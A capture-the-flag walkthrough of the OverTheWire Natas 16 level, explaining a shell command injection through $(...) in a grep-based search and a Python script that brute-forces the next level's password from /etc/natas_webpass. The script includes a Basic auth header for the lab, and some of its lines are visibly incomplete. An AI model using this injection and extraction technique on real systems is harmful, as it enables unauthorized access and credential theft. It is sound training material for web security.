Natas 16 looks similar to the earlier challenges where we were got to search for a word in a flat document. However this time it says "For security reasons, we now filter even more on certain characters":

Natas 16 search

Lets open up the source and see what the difference is:

<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="">
<link rel="stylesheet" href="" />
<link rel="stylesheet" href="" />
<script src=""></script>
<script src=""></script>
<script>var wechallinfo = { "level": "natas16", "pass": "<censored>" };</script></head>
<div id="content">

For security reasons, we now filter even more on certain characters<br/><br/>
Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br>

$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];

if($key != "") {
    if(preg_match('/[;|&`\'"]/',$key)) {
        print "Input contains an illegal character!";
    } else {
        passthru("grep -i \"$key\" dictionary.txt");

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>

Here is the regular expression that filters out the words:


Basically any of the following characters are now disallowed: ; | & ' \ ' "

So any of our previous strings will not work. I remembered that you can execute commands within a string in bash by adding a: $(<>). My idea was to run the following code:

$(grep ^A /etc/natas_webpass/natas17)

If we run that and the first character is "A" the entire password will be returned. If "A" does not exist, an empty string will be returned. However, this won't work because even if we guess the correct letter grep will return the password and search for the password in the dictionary which does not exist. If we find a word that exists in the dictionary, we would be able to utilize the fact that grep returns an empty string when the letter is not found. Lets first find a word we can use, I just searched for the letter "a":

Natas 16 search for a

I'll use the word "African" and that would mean our query string will look something like:

$(grep ^A /etc/natas_webpass/natas17)African

Next I'll use the Burp Intruder to see if we can get just the first letter:

Natas 16 search

Looks like we got a hit! Now lets use a script. I'll copy most of it from the last challenge:

import urllib
import urllib2
import pprint

url = ''
referrer = ''
authorization = 'Basic bmF0YXMxNjpXYUlIRWFjajYzd25OSUJST0hlcWkzcDl0MG01bmhtaA=='

Chars = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r',

password = ""

#loop through possible length of password
for i in range(1, 33):
    print "%d out of 32" % (i)
    #loop through possible chars
    for j in range(0,len(Chars)):
        grep = '$(grep ^%s /etc/natas_webpass/natas17)African' % (password + Chars[j])
        values = {'needle' : grep,'submit' : 'Search'}
        req = urllib2.Request(url)
        req.add_header('Referrer', referrer)
        req.add_header('Authorization', authorization)
            response = urllib2.urlopen(req)
            the_page =
            #print the_page
        except HTTPError, e:
            print e.reason
        if "African" not in the_page:
            print password

After that's done we get the following output:

1 out of 32
2 out of 32
3 out of 32
4 out of 32
27 out of 32
28 out of 32
29 out of 32
30 out of 32
31 out of 32
32 out of 32